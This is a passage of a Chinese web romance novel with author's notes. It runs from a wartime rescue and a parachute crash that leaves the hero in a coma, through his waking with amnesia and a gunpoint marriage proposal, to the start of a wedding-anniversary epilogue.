一颗流弹擦着墙壁掠过,陈寅洛反应快得惊人,瞬间将陈知念往怀里一带,用后背挡住可能飞溅的碎片,同时低喝:“低头!” 陈知念被他强有力的手臂半抱着向前冲去,脚步踉跄。昏暗的走廊在眼前扭曲旋转,身后的枪声骤然密集如暴雨,她下意识想回头,却被他一把按住后颈。 “别回头!看路!” 他护着她冲下楼梯,通道尽头,一辆改装越野车引擎低吼,车门敞开。陈寅洛一把将她塞进后座,自己则利落地翻身跃入,同时对驾驶员吼道:“开车!” 车子如离弦之箭窜出。同时,一群叛军出现在巷口,子弹如雨点般倾泻而来,击打在车身上迸溅出刺目的火花。 “趴下!”陈寅洛一把将她的头按在自己膝头,另一只手迅速从腰间拔出手枪,单手对着窗外还击,“砰!砰!”两声精准点射,冲在最前的两名叛军应声倒地。 车辆在狭窄巷道中疯狂漂移,轮胎摩擦地面发出刺耳声响。陈知念紧闭双眼,整张脸埋在他染着硝烟与血腥气的作战服里,耳边是子弹呼啸的尖啸、引擎的咆哮,以及头顶上方那个男人沉稳的心跳声。 终于驶离了交战区,那些致命的呼啸声渐渐远去,陈寅洛这才稍稍放松了钳制。 陈知念惊魂未定地抬起头,泪水模糊的视线在晃动的车厢里艰难聚焦。 陈寅洛的战术面罩不知什么时候已经摘下,此刻锋利的眉眼低垂着,正利落地为手枪更换弹匣。窗外冷光斜斜落下,在他轮廓分明的侧脸上投下深浅交错的阴影,鼻梁高挺如峰,将光线折出锐利的棱角。几缕被汗水浸湿的黑发垂落额前,还有一丝干涸的血迹从眉骨延伸到下颌,可非但不显狼狈,反而为他平添了几分沙场归来的悍厉之气。 “陈、陈寅洛,我妈妈和Kenny……” 陈寅洛重新填满弹匣,这才侧目看她一眼,“放心,雷子会把他们安全送达的。” 他声音刚落,车子便猛然刹停。远处螺旋桨的轰鸣声已近在咫尺,卷起的狂风拍打着车窗。 “下车。”陈寅洛率先推开车门,警惕地扫视四周,随后朝她伸出手。 他握紧她的手,带着她弯腰冲向直升机。就在他们即将抵达直升机时,突然传来几声枪响。 陈知念吓得一颤,陈寅洛却反应极快,瞬间侧身将她完全挡在身后,同时举枪朝着子弹来源方向连续点射反击。 “快上去!”他推着她向前。 陈知念踉跄着冲向机舱,螺旋桨卷起的狂风几乎要将她掀翻,耳边是呼啸的气流声和远处隐约的枪声。机舱门口的队员早已伸手接应,一把将她拉进机舱内,同时喊道:“洛哥!快!” 陈知念瘫坐在机舱地板上,胸口剧烈起伏,就在她回身的刹那,瞳孔骤然收缩—— 陈寅洛正要跃上直升机,肩膀却猛地一震。一抹暗红迅速在他深色作战服上洇开。 “你中枪了!” 陈寅洛却没有丝毫停顿,单手撑住舱门利落翻身而入,反手拉上舱门的同时对着驾驶座沉声道:“升空!” 直升机猛地抬升,陈知念因惯性向后跌去,却被一只有力的手臂稳稳扶住。 “坐稳。”他说。 陈知念连滚带爬地扑到他身边,手指颤抖着伸向他受伤的肩膀,却又怕碰疼他,不敢再向前:“陈寅洛!你怎么样?疼不疼?我、我……有急救包吗?飞机上有吗?!” 直升机引擎轰鸣着升空,机身微微颠簸。陈寅洛靠在舱壁上,紧绷的身体终于泄了点力,他缓缓蹙起眉头,冷汗顺着额角滑落,浸湿了垂落的黑发。 陈寅洛抬手按住流血的肩膀,子弹嵌在肩胛骨缝隙里,每一次呼吸都牵扯着神经,尖锐的疼意顺着脊椎往上窜。 失血的嘴唇有些发白,却是笑了笑:“别哭丧了,上次你不也打了我一枪?不也没死。” “我……”陈知念的声音支离破碎,“对不起,对不起,都是因为我……” 她看着那不断扩大的暗红色血迹,三年前自己朝他开枪的画面与眼前景象重叠,窒息悔恨的感觉如毒液蔓延而来。 “行了,”陈寅洛半阖着眼,打断她:“别没完没了的。帮我到左边口袋里,拿根烟给我。” 陈知念的眼泪一滞,抽噎着反驳:“你受伤了不能抽烟……尼古丁会影响血液循环,伤口会更难愈合的……” “哪那么多废话?”陈寅洛睁开眼,眼底带着点不耐烦。他知道自己现在的状态,失血让他有些头晕,伤口的疼意越来越清晰,一根烟或许不能止痛,却能让他保持清醒,能让他暂时压下那股蔓延的虚弱感。 男人的唇色已经变成了粉白,豆大的汗珠从他鬓角滑落,顺着下颌线滚进衣领,直挺的鼻尖也细密地沁出了层层薄汗。 机舱里微弱的灯光下,陈知念也能清晰地看到他右半边肩膀都在轻轻发着颤。 陈知念再也说不出反驳的话,只能颤抖着手,取出一支烟,递到他唇边。陈寅洛低头含住,示意她点火。 “在……哪个口袋?” 她的声音带着浓重的哭腔,以及她自己都不曾察觉的害怕。这害怕不仅仅是因为眼前的枪伤和鲜血,而是当她看见子弹击中他肩膀的瞬间,那种心脏骤停的恐惧。 她怕他真的会死。 “左边。”他声音因忍着痛而低哑。 陈知念慌忙拿出打火机,一边抑制不住地抽泣,一边颤抖着拨动滚轮。指尖根本不听使唤,连握稳打火机都费劲。 “咔嗒、咔嗒”——火星一次次闪动,却始终没能点燃。 泪水再一次模糊了视线,为什么,为什么她连这么简单的事情都做不好。 就在她快要崩溃的时候,手背忽然一热。一只带着薄茧的大手覆上了她手背,拇指压在她的指尖上,拨动了滚轮。 一簇稳定灼热的火苗,骤然在两人交叠的指间跳跃燃起。 他凑近点燃,深深吸了一口,灰白的烟雾从鼻腔缓缓呼出,烟雾霎时模糊了他苍白的脸色。 尼古丁似乎暂时压制了疼痛,他紧绷的肌肉稍稍放松了下来。 “别这么看着我。”他忽然开口,“死不了。” 死不了,死不了,总是这么轻描淡写。 中枪就是会死人的,子弹会打穿内脏,人会因为失血过多而休克,哪有他说的这么轻松! 陈知念眼泪不受控制地往下掉,一颗接一颗,像永远拧不紧的水龙头,断不了线似的往下淌。 她徒劳地用手背去擦,却越擦越多,越擦越争着往外涌。 这时,一根粗粝的指腹不算温柔地抹去她脸上的泪痕。 “别哭了,等到了安全区,做个手术把子弹取出来就好了,没你想的那么严重。” 陈寅洛的声音刚落,直升机忽然猛地一震,像是撞上了无形的屏障,机身瞬间失去平衡,剧烈地颠簸起来。舱内的物品“哗啦”一声散落一地,陈知念没站稳,整个人往旁边倒去,陈寅洛眼疾手快伸手去拉她,却牵扯到肩膀的伤口,疼得他闷哼一声。 “怎么回事?!” 驾驶座传来驾驶员慌乱的声音:“洛哥!引擎故障!左翼被流弹击中过,现在彻底停转了!我们要失去动力了!” “警报!警报!高度急速下降!” 机舱内的警报声尖锐地响起,红色的警示灯疯狂闪烁,机身倾斜得越来越厉害。 “还有多久会坠地?!”陈寅洛扶着舱壁站起来,尽管肩膀剧痛,却依旧保持着镇定,视线快速扫视舱内的应急设备,“备用引擎呢?” “备用引擎也失灵了!最多还有三分钟!我们必须马上跳伞!” “跳……跳伞?”陈知念脸色惨白,声音抖得不成样子。她从来没有跳过伞,更别说在这种生死关头。 “没时间了!”陈寅洛一把将她拽到舱门边,狂风瞬间灌入,吹得人睁不开眼。他迅速从舱壁拽下一个伞包,以惊人的速度检查伞绳,然后不由分说地开始往她身上捆绑。 脚下的高度令人眩晕,大地如同一个巨大的漩涡,要将一切吞噬。陈知念只觉得双腿发软,根本站立不住。 “我……我不行……” “听着!”陈寅洛双手捧住她的脸,强迫她看向自己,“我数三下,抱紧我,闭上眼睛,无论如何都不要松手!明白吗?!” 陈知念看着他染血的脸颊和那双在绝境中依然燃烧着灼灼光芒的眼睛,巨大的恐惧中竟然生出了一丝荒谬的平静。 她用力点头,用尽全身力气抱紧了他的腰,将脸埋在他完好的那侧胸膛。 陈寅洛迅速将主伞钩挂在她胸前,然后一把将她紧紧箍在怀里。 下一秒,他没有任何犹豫,带着她纵身跃出了失控的机舱。 急速下坠的失重感瞬间包裹了陈知念,风声在耳边呼啸如鬼嚎。她死死闭着眼,用尽全身力气抱住陈寅洛的腰。 陈寅洛强忍着肩膀撕裂般的剧痛,用双臂紧紧环住她,在空中极力调整着姿态。他的声音穿透呼啸的风声,沉稳地在她耳边响起: “准备——三、二、一!” “唰——!” 降落伞在离地仅数百米的低空猛地张开,巨大的拉力让两人下坠的势头骤然减缓。 陈知念感觉自己的身体被往上提了一下,急速跳动的心脏终于缓了一瞬,她颤了颤眼睫,想睁开眼看看下方的情况,却被陈寅洛一把按住后颈,牢牢抵在他温热的胸膛上。 “别睁眼。” 陈寅洛面色严峻,因为是仓促盲跳,没有任何预判时间,根本无法预知落地地点。 运气不太好,下方是一片黑沉嶙峋的礁石滩。 他自嘲地扯了扯嘴角,果然是坏事做多了,遭报应了。 陈寅洛拉扯伞绳,试图调整方向,但下坠的速度和风向根本不给他们太多选择余地。 狰狞的礁石在视野中急速放大,如同张着巨口的猛兽。 陈寅洛放弃了调整,用尽最后力气将陈知念紧紧拥入怀中。 “陈知念……” “什么?”风声太大,她只模糊听见自己的名字。 他闭了闭眼,喉结滚动了一下,轻声道:“我爱你。” “你说什么?我听不清!现在能睁眼了吗?” “砰——!” 沉重的撞击声裹挟着骨肉与礁石的闷响炸开。她清晰地感受到,陈寅洛环着她的手臂骤然收紧,又在下一秒迅速失力,紧接着,降落伞应声盖下,将两人吞没在一片厚重的黑暗里,隔绝了外面所有的光线与声音。 数秒后,陈知念从震荡中苏醒。 “陈寅洛!” 没有回应。 她手忙脚乱地将厚重的伞布从两人身上扯开,昏暗的光线下,眼前的景象让她呼吸骤停。 他们落在了一片嶙峋的礁石滩上。 她被严严实实地护在他胸前。 陈寅洛仰面躺着,双眼紧闭,脸色是一种骇人的灰白。他的后背,正不偏不倚地撞在一块巨大而尖锐的礁石上! 深色的血迹正在他身下缓缓蔓延。 “陈寅洛……”她颤抖着手,轻轻拍打他的脸,触手一片冰凉的冷汗,“你醒醒,你别吓我……” 没有任何反应,他像是睡着了。 “陈寅洛……你醒醒,陈寅洛,你醒醒啊!!” “你不能死,不能死……” “你刚才到底想跟我说什么?你醒来告诉我啊!” 海风吹过空旷的礁石滩,只有海浪一遍遍拍打岩石的呜咽,像是在为她得不到回答的追问,奏响悲鸣—— 作者有话说:大概是为什么最后一秒陈寅洛会忽然说我爱你呢。 他从来都没想到过,可以为了一个人不要自己的命吧。 那句话怎么说的:我将违背我的本能,忤逆我的天性,永远爱你。 从一开始陈知念问,能不能愿意为她改变的时候,他说,我喜欢你,但并不代表我要违背我的天性。 但这一刻,他确确实实背叛了自己意志。 第95章 白塔城的秋天来得猝不及防,前几日还带着夏末余温的风,一夜之间就裹上了凉意,将满城的梧桐叶染成深浅不一的金黄,风一吹,便簌簌落在柏油路上,铺出一条踩着会发出“沙沙”声的小径。 今天是十月二十号。 “今天的风好像比昨天更大了些,不过外面的阳光很好,陈寅洛你要不要起来晒晒太阳?” 她将带来的新鲜小苍兰插进床头的玻璃瓶,换掉昨天那束已经有些萎靡的洋桔梗。然后走到窗边,将窗帘全部拉开,金黄的阳光瞬时倾洒进来。 陈寅洛的头发比昏迷前长了许多,但被她仔细地修剪过,露出立挺清晰的眉眼。因为长期卧床,他的脸颊消瘦了些,轮廓显得更加锋利,但气色在专业护理下维持得很好,除了不会睁开眼睛、不会回应,一切都与常人无异。 从曼萨尼约礁石滩被救回白塔城,他已经这样昏迷了一年半。 最初被送进医院时,他的伤势严重到连经验最丰富的外科医生都倒吸一口凉气。 左侧第6-8根肋骨粉碎性骨折,巨大的撞击力导致脾脏破裂,肝脏挫裂伤,送到医院时腹腔出血量已经达到了1500毫升,血压已经低到警戒线以下,连心电图都出现了两次短暂的直线。 那场手术持续了整整十四个小时。 十四个小时里,手术室外的红灯就像嗜人妖兽血红的眼睛,就等着吞噬掉他的生命。陈知念就站在那扇门后,看着医护人员一次次匆忙进出,看着一袋袋血浆被送进去,看着代表病危的签字单一次次递到她面前。 走廊的时钟秒针咔嗒作响,每一秒都像在凌迟。 窗外的天色从天黑到天明,当红灯终于熄灭,疲惫的医生摘下口罩说:“命是暂时保住了,但能不能挺过去就看他自己了,感染、休克、多器官衰竭……每一关都可能是鬼门关。” 接下来的七十二小时,陈知念寸步不离地守在重症监护室外。 每一次监护仪的警报声都让 她的心脏骤停,每一次医生凝重的表情都让她如坠冰窟。她看着他的身体被各种管线缠绕,像个破碎后勉强缝合的玩偶。 但陈寅洛终究是陈寅洛。 他挺过了感染关,熬过了器官衰竭的危险期,伤口在缓慢愈合,生命体征逐渐稳定。只是意识,始终沉睡在某个无人能抵达的深渊。 三个月后,他被转入这间特护病房。从此,时间在这里凝固了。 陈知念坐到病床边的椅子上,手里拿着一块温热的毛巾,轻轻擦拭着陈寅洛的手背。 他的手还是和一年半前一样,指骨分明,只是因为长期卧床,皮肤显得有些苍白,手背的血管隐约可见,连曾经握枪留下的薄茧,都淡了几分。 医生说过,他的身体机能在慢慢恢复,大脑活动也有微弱的波动,可就是没有醒来的迹象。 “陈寅洛,告诉你个好消息,阿星和露露上周结婚了。” “婚礼办得很温馨,阿星穿着西装的样子还挺像回事的。就是你没能亲眼看到,在宴会上还好,结果晚宴结束后,阿星一个人抱着酒瓶,哭了好久好久。” 她把擦好的手轻轻放回被子里,掖了掖被角,确保他的肩膀没有露在外面。一年半来,她每天都会这样照顾他,擦手、擦脸、按摩四肢,怕他的肌肉萎缩,也怕他醒来时,身体会不舒服。 “你不知道吧,雷子最近好像也有点不对劲,我听阿星说有一个小姑娘,可崇拜他了,天天雷哥前雷哥后的。” 她笑了笑,轻柔道:“你是没看见,那么大一硬汉,被个小姑娘弄得手足无措,脸都红了。阿星他们现在天天拿这个打趣他,说他这棵铁树,怕是要开花了。” “所以啊,”她轻轻捏了捏他的手指,“你得好起来。不然好兄弟人生这么重要的时刻,你难道又要躺着错过吗?” 她静静凝视他紧闭的眼眸良久,强装的平静终于裂开细缝,声音忽然就变了调。 “陈寅洛,你快醒醒,快醒醒吧。” 声音已然带了哭腔:“你再不醒来我真的要哭了,我原谅你了,我都原谅你了。” “人家都说祸害留千年,陈寅洛你怎么说也算是个大坏蛋吧,你怎么能躺在这里装睡……” “我不要你东西,不要你的钱,我只要你醒过来,好不好。” 当初医生下达病危通知,要求直系亲属签署高风险手术同意书时,陈知念被无助感彻底淹没。虽然当初陈寅洛拿下了她的监护权,但她当时已经22岁,不再需要监护人,况且两人在法律上也没有任何关系。 就在这时严彬领着一个手提公文包的男人匆匆赶来。 “陈小姐,这位是陈寅洛先生的私人律师,许律师。”严彬说。 许律师没有任何寒暄,直接向医生和陈知念出示了证件和一份文件:“根据陈寅洛先生公证过的《预先医疗指示》及《持久授权书》,在他丧失决策能力时,陈知念小姐是他指定的唯一医疗决策代理人。所有医疗决定,必须由她签字授权。” 他迅速翻到关键页面,指向陈寅洛的签名和公证处钢印,“请医院核实。陈小姐,现在需要您立刻行使代理权。” 希望骤然升起,陈知念颤着手签了字,医生接过文件确认后,立刻转身回到了手术室。 这时林律师又从公文包取出了另一个密封的文件袋,语气沉肃地补充道,“此外,根据陈先生四年前订立并公证的遗嘱,他名下全部资产,包括白塔城所有公司的股权、海外投资及不动产,唯一法定继承人均为您——陈知念女士。按照流程,在目前这种极端情况下,需要让您知悉这份文件的存在。” “陈先生曾明确嘱咐,若他遭遇不测,这一切都归您所有。” “四年前??”陈知念反复呢喃着这个时间点,心脏骤然紧缩。她的视线移到扉页末尾,遗嘱订立的日期是……这个时间……这个时间…… 是当初她对他开枪的第二天。 陈知念紧紧握住陈寅洛的手,滚烫的泪水一滴滴地砸在他的手背上。 “陈寅洛,明天就是你的生日了,我给你准备了一个超大的惊喜,你一定要醒来看呀!” 床上的人依旧没有回应。默然了许久,陈知念擦干眼泪。 “我要走了,今天下午还有采访。明天我再来看你,到时候……你一定要醒过来,好不好?” 她拿起包,走到门口时,忍不住回头又望了一眼。 阳光恰好落在他低垂的眉眼上,那一瞬间,她几乎产生错觉,以为他的手指轻微动了一下。 但当她屏住呼吸仔细看时,一切又恢复了原状。 门被带上,病房又回到了寂静。 陈知念回到白塔城后就进入了电视台工作,今天要去一家福利院做记录采访。 车子停稳后,福利院的老师立刻迎了上来,身后跟着一群穿着蓝色衣服的孩子,一个个睁着好奇的眼睛看着她,有的还怯生生地躲在老师身后,只露出半个小脑袋。 “陈记者,欢迎欢迎!孩子们盼了你好久了!”老师热情地说,又转身对孩子们喊道,“快跟陈姐姐打招呼!” “陈姐姐好!”孩子们的声音稚嫩又响亮,像小铃铛一样。 她蹲下身,从包里拿出糖果,分给每个孩子:“你们好呀,我是陈知念,今天来跟大家一起玩,好不好?” 孩子们接过糖果,脸上露出开心的笑容,刚才的怯生也少了许多。一个坐在轮椅上的小男孩,拿着糖果凑到她面前,小声说:“陈姐姐,你长得真好看,你会讲故事吗?” 陈知念笑着点头,伸手轻轻摸了摸他的头:“会呀,等采访结束,我就给你们讲好听的故事,好不好?” 采访正式开始后,陈知念拿着话筒,耐心地跟老师交流福利院的日常运营情况,又走到孩子们中间,跟他们一起做手工、画画。 采访结束后,陈知念正帮着老师收拾孩子们散落的画具,这时,福利院的院长张奶奶端着两杯热茶走过来,笑着递给她一杯:“陈记者,今天真是辛苦你了,孩子们好久没这么开心了。” 陈知念笑着摇头:“不辛苦,能跟孩子们相处,我也很开心。这里的设施和氛围比我想象中好很多,孩子们能得到这样的照顾,真的很感谢你们的付出。” 院长望着院子里嬉戏的孩子们,语气中带着深深的感慨:“是啊,这都要感谢‘陈知念儿童基金会’。五年前,这个基金会一次性投入了数亿资金,不仅帮我们度过了倒闭危机,还资助了全白塔城十几家类似的福利机构。” 她指着不远处那栋崭新的康复楼:“你看,新建的康复楼、这些先进的设备,还有孩子们持续的康复费用,都来自基金会的支持。” 陈知念的手指猛地一颤,茶水险些洒出:“陈知念儿童基金会?” “对阿!”院长忽然想起什么,惊喜地打量着陈知念,“陈记者,你的名字是不是也叫陈知念?不会这么巧吧?” 院长激动地握住她的手:“如果你就是那位陈知念女士,那你可真是我们整个福利院的大恩人啊!” 离开福利院时,夕阳已经落下,陈知念呆坐在车里,一瞬不瞬地看着刚刚搜索到的关于这个基金会的所有报道。 “首期注资一亿……覆盖全市十六家福利机构……” “每年定向拨款两千万,用于教育医疗及心理康复……” “基金会命名缘由成谜,捐赠人至今未曾露面……” 夕阳的余晖透过车窗,将手机屏幕映得一片模糊。她靠在方向盘上,肩膀微微颤抖。 就在这时,手机突然震动起来,屏幕上跳动着“严彬”的名字。 陈知念深吸一口气,努力平复颤抖的声线,按下了接听键。 “陈小姐!洛哥醒了!” 第96章 陈 知念是冲进病房的,甚至等不及坐电梯,直接从楼梯一路狂奔上去。 当她喘着粗气推开病房门时,病房里站满了医生和护士,正在为陈寅洛做初步检查。 他半靠在升起的病床上,侧着脸,长期昏迷让他消瘦得厉害,下颌线如刀锋般锐利。可那双刚刚睁开的眼睛却亮得慑人,浓眉之下,锋利的眉眼又透出了几分往日的疲懒幽灼。 “给我烟。”他语调轻慢。 严彬迟疑道:“洛哥,您刚醒来,还是不要吸烟了吧。” 医生也跟着附和:“陈先生,您昏迷太久,心肺功能需要时间恢复,现在吸烟风险太大……” 陈寅洛眉峰一挑,眼尾溢出几缕邪性:“你管的倒宽。” 他视线转向严彬,指尖在床边不耐地敲了两下,“快点。” 严彬只犹豫一瞬,就掏出烟递给了他。陈寅洛熟练地将烟叼在唇间,低头就着严彬手中的打火机点燃。灰白的烟雾很快升起,缠绕在他瘦削的指间,萦绕在眉宇间。 他仰头,长长呼出一口烟雾,微眯着眼,正享受着尼古丁带来的短暂慰藉—— 忽然,一道娇小的身影如风般冲进病房,在所有人都没反应过来时,已经冲到床边,一把夺下他指间的香烟,狠狠掷在地上,用鞋跟用力碾灭。 “谁准你抽烟的?你的肺还要不要了?” 陈寅洛眉眼下压,眸光像是生了刺一般,戾气突然就涌上来。 “你他妈谁啊?” 话音落下,病房里顿时一片死寂。 —— “陈小姐,请坐。”主治医生温和地示意。 陈知念木然地坐下,脑海里一片混乱,他居然不认识她?他居然忘了她? “陈先生能够苏醒,本身是一个非常好的迹象,说明他的脑干功能和基本意识已经恢复。”医生推了推眼镜,语气严谨,“但是,由于他当时颅脑损伤严重,加上长达一年半的昏迷,大脑长期处于低代谢状态,醒来后出现记忆断层,是很常见的反应。” “什么意思?” 陈知念觉得自己就快要哭出来。她好不容易等到他醒来,等来的却是这样的结果。 “通俗地说,就是情节性记忆提取障碍。”医生指着脑部CT影像上的几处阴影,“他保留了对世界的普遍认知,比如如何说话、如何抽烟,也保留了一部分程序性记忆和关于自身身份、社会关系的事实。但是……” 医生顿了顿,看向陈知念的目光带着同情:“他丢失了大部分自传体记忆,尤其是与特定人物、事件相关联的情节。这种遗忘往往具有鲜明的情感选择性——大脑会本能地屏蔽掉那些与最强烈、最痛苦的情感创伤紧密相连的记忆片段,作为一种自我保护机制。” 陈知念不记得自己是怎么从医生办公室出来的,也不记得自己是怎么走到街道上的。 她只觉得好冷好冷,深秋的风裹着寒意,从领口、袖口钻进去,顺着皮肤往骨头缝里渗,即使她死死抱紧了手臂,把外套的领子拉到最高,将自己裹得像个粽子,也依然觉得那股冷意从心底往外冒,冻得她牙齿都开始轻轻打颤。 她忽然觉得好无助,是不是佛祖听到了她许下的愿望。 她说只要陈寅洛能够醒来,能够活下去,她愿意付出一切。 佛祖听到了。 陈寅洛真的醒了,真的活下来了。 但佛祖也把陈寅洛对她的爱收走了。 陈知念缓缓蹲下身,把脸埋在膝盖里,肩膀剧烈地颤抖起来。 街道上的行人来来往往,有人好奇地看她一眼,有人匆匆走过。身旁车流穿梭,霓虹闪烁,只有她像一个被世界抛弃的孩子。 眼泪大颗大颗地砸在地上,她哭得撕心裂肺,哭得浑身脱力,只有死死攥紧了脖子上挂着的戒指,才能勉强证明,曾经的一切都不是她臆想的泡影,都是真实存在过的。 可现在,记得这一切的,只剩下她一个人了。 直到眼眶再也挤不出一滴眼泪,脸颊被寒风冻得发僵,她才麻木地直起身。双腿因为长时间蜷缩而发麻,每走一步都像踩在棉花上,虚浮得没有根基。她像一具被抽走灵魂的行尸走肉,沿着路灯投下的光影,一步步往家的方向挪。 回到家,一片漆黑。 陈知念抽泣着脱掉鞋,换上拖鞋,然后按亮了灯。 灯光亮起的瞬间,陈知念下意识地眯了眼,随即一道熟悉却又陌生的挺拔身影,猝不及防地撞进她的视线—— 他右手随意搭着扶手,指间夹着的香烟升起袅袅青烟。双腿交叠,剪裁考究的西装裤勾勒出利落的线条,整个人像是蛰伏在暗处的猎豹。 陈知念僵在原地,心脏骤然停跳了半秒,随即疯狂地擂动起来。 他怎么会在这里?他不是应该在医院吗?严彬怎么没告诉她? 无数个问题涌进脑海,却让她一句话都说不出来,只能怔怔地看着沙发上的人。 那双冷峻的眼眸,在灯亮起的瞬间,高傲地扫了过来,带着审视,带着玩味,更带着令人心悸的陌生。 “陈知念?” 陈知念没有回答,只是紧紧抿着发白的唇,一瞬不瞬地盯着他的眼眸,试图从那片冰冷的陌生里,找到一丝熟悉的痕迹。 “别紧张,”陈寅洛轻轻勾起唇角,甚至惬意地向后靠进沙发里,“你知道我是谁么?” “陈寅洛。” 这是她念了无数次的名字,是她刻在心底的名字,可现在从她嘴里说出来,却带着无尽的苦涩。 陈寅洛满意地挑眉,任由指尖的香烟坠落。然后,他闲适地从腰间掏出枪,枪口漫不经心对准了她的方向。 “有意思。”他的目光在她脸上细细描摹,“我虽然不记得你,但我的直觉告诉我,你对我来说……很特别。” 他站起身,一步步朝她走近,枪口却始终稳稳地对准她。在仅剩一步之遥时停下,微微俯身,近到能感受到彼此的呼吸。 “本来不想为难你,”他低笑,眼底掠过一丝暗芒,“但想了想——” “我这种人,怎么可能放过一个……光是站在这里就让我心跳失控的女人?” “所以现在给你两个选择,”他的指腹摩挲着枪柄,目光灼热得像要将她吞噬,“一是跟我走,二是我现在就崩了你,免得以后日夜惦记。” “选一个。” 他的眼神炽热而专注,里面翻涌着陌生的情愫。 那是没有记忆牵绊的支撑,从灵魂最深处浮起的、最原始的本能吸引。 如同被抹去所有过往的猛兽,依然能凭着最原始的本能,在万千人中精准锁定唯一的猎物。 陈知念的泪水终于决堤,在他灼热而陌生的注视下,任由胸口抵上那危险的枪管,踮起脚尖吻上了他的唇。 陈寅洛浑身一僵,握着枪的手猛地顿住,枪口下意识地偏离了她的胸口,那双总是冷静自持的眼眸里,第一次出现了真实的错愕。 一触即分。 她退后半步,仰着满是泪痕的脸,直直望进他骤然幽深的眼底。 “陈寅洛。” “我们结婚吧。” 陈寅洛死死地盯着她,目光锐利得像要剖开她的灵魂,寻找这个吻和这句话的根源。 那失控的心跳非但没有平息,反而变本加厉地在胸腔里鼓噪。 枪口缓缓垂下,他伸手,用粗粝的拇指重重擦过她湿润的唇瓣。 “结婚?好啊。”他低低一笑,笑声从胸腔震出,带着蛊惑人心的磁性,“既然是你主动要求的……” “那这辈子,你就别再想离开了。” ——全文完———— 作者有话说:[彩虹屁][彩虹屁][彩虹屁]终于完结啦~~~~撒花撒花。 其实真的砍了很多很多内容,陈寅洛同学好多的戏份都被砍掉了 不过感情已经很到位了,到这里结局也算完美吧~ 码完大结局后感觉整个人好空虚,感觉产生了戒断反应,整整一天都不知道该做什么 最戏剧性的是,码完了大结局我才发现之前的举报被驳回了,没成功[爆哭] 不过剧情已经到这了也不能挽回了。 也许会写几个甜甜的番外,有想看的内容嘛,可以评论告诉我哈[撒花] 反正番外一定是甜的啦,弥补一点遗憾吧魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第97章【终章】 禁区别墅。 今天是陈寅洛和陈知念结婚一周年纪念日。 别墅里很是热闹,雷子、阿星、露露、严彬他们都在,露天的院子里架起了烧烤炉,桌子上摆着 火锅,麻辣锅底的醇厚与番茄锅底的酸甜交织在一起,驱散了深秋的凉意。 雷子蹲在玄关换鞋,带着新交的女朋友雪梨,嗓门大得能震掉天花板:“洛哥!嫂子!我们来蹭饭啦!” 阿星和露露跟在后面,“嫂子,可乐和啤酒你冰了没?” 陈知念系着围裙从厨房探出身子,笑应:“都冰好啦,冰块也备足了!” 陈寅洛跟大爷似的坐在客厅沙发,双腿交叠,手里拿着个平板,眼神却没落在屏幕上,反而斜斜睨着这些个不速之客,不爽的意味溢出言表。 阿星刚走进客厅就感到迫人的压力,他心头一凛,顺着刺人的灼热望去,对上了陈寅洛一双幽沉的眼眸。 那对眼睛里,不欢迎三个字明明显显,昭然若揭。 他步入的脚步一顿,牵住露露的手站定,吞吞吐吐对厨房道:“嫂子,要不我先走了,我刚想起来我还不饿。” 厨房里,陈知念正将最后一盘干笋炒牛肉装盘。婚后他们没请做饭阿姨,这是她坚持的,因为她贪恋这种寻常夫妻的烟火气。 听到阿星的话,她顿时从厨房走出来,“那怎么行?我特地做了你爱吃的牛肉。” 陈寅洛昏迷的那一年半时间里,她早就和阿星、雷子他们混熟悉了。熟悉之后发现,后来发现这群在枪林弹雨里眉头都不皱的男人,私下纯粹得可爱,并非是以前以为的十恶不赦的大坏蛋。 她话音落下,阿星顿时感受到了凌厉的杀意,巨浪翻涌,奔袭而来。 陈知念擦干净手,走近些,疑惑地看着额头冒汗的阿星:“你怎么了?很热吗?”她不解地看了看窗外,“都秋天了呀……是不是空调温度太高了?我调低一点。你和露露先坐,火锅马上就好。” “好、好的,嫂子。”阿星僵硬地应着,同手同脚地拉着露露在陈寅洛对面的沙发坐下。 然而,他的屁股刚触到沙发,就霎时弹射而起:“嫂子,我、我还是出去烤烧烤吧!” 说完,不等回应,便拉着露露头也不回地冲向了院子,仿佛客厅里有什么洪水猛兽。 阿星的反常丝毫没影响到少一根筋的雷子,他搂着雪梨,乐呵呵地凑到陈知念跟前,嗓门洪亮:“嫂子,那我的呢?做没做我爱吃的?” “当然啦。”陈知念端着一个冒着热气的砂锅,“你喜欢吃鱼是不是,我今天做了青椒焖鱼,不过我是第一次做,不知道好不好吃。” “嗯?嫂子你端着的就是吗?光闻这味儿就知道错不了!” 雪梨也忍不住轻声赞叹:“好香啊。” “雷毅。”一道冷冽刺骨的声音骤然响起,“手要是断了,就去找医生接上。” 雷子先是一愣,随即寒毛耸立,向来不怎么灵光的脑子忽然福至心灵,瞬间明白了那道声音里蕴含的致命警告。 “嫂子!我来端!这、这哪能让你端啊!沉!特别沉!”他手忙脚乱又万分小心地从陈知念手里接过那个滚烫的砂锅,动作快得几乎带出残影。由于太紧张,手指还被锅边烫了一下,他愣是咬着牙没敢吱声,稳稳地将砂锅“抢”到了自己手里。 餐厅里,巨大的餐桌中央,麻辣与番茄锅底欢快地翻滚着,散发出诱人的香气。众人终于围坐在一起,只是这气氛,着实有些微妙。 雷子将那锅“救命”的青椒焖鱼放在离自己最近的位置后,就正襟危坐,眼神都不敢乱瞟。阿星更是恨不得把自己缩成一团,埋头专注地研究着自己碗里的花纹。露露本来就特别怵陈寅洛,这会比阿星还紧张。 唯一不太紧张的只有雪梨,她因为从前没接触过陈寅洛,所以还不知道这个男人的可怕之处。 严彬向来够机灵,会看眼色,倒是没得到陈寅洛的眼刀。 整个餐桌,只有陈知念一个人在真诚地忙碌着。 “雷子,快尝尝你的鱼,看合不合口味?” “阿星,别光坐着,牛肉涮好了,你喜欢的可乐我去给你拿。” “露露,雪梨,别客气,喜欢吃什么就下什么。” 她像个殷勤的小蜜蜂,照顾着每一位客人,全然没注意到,身边男人的气压随着她每一次起身、每一次为别人夹菜而越来越低。 “陈知念,”男人开口,“我渴了。” 陈知念正忙着给露露递蘸料,头也没回地应道:“水不就在你旁边吗?你自己拿一下。” 空气似乎凝滞了一瞬。雷子和阿星不约而同地埋低了头。 陈寅洛没动,目光沉沉地落在她纤细的背影上。 “我手断了,倒不了。” 陈知念动作一顿,终于转过身来。对上他深邃的眼眸,那里清晰地写着“我不高兴”四个大字。她眨了眨眼,有些无奈,又觉得这样幼稚的他有点可爱。 “好好好,给你倒。” 然而,这还没完。 没过几分钟,陈寅洛又开始了。 “陈知念,我肩膀疼。” 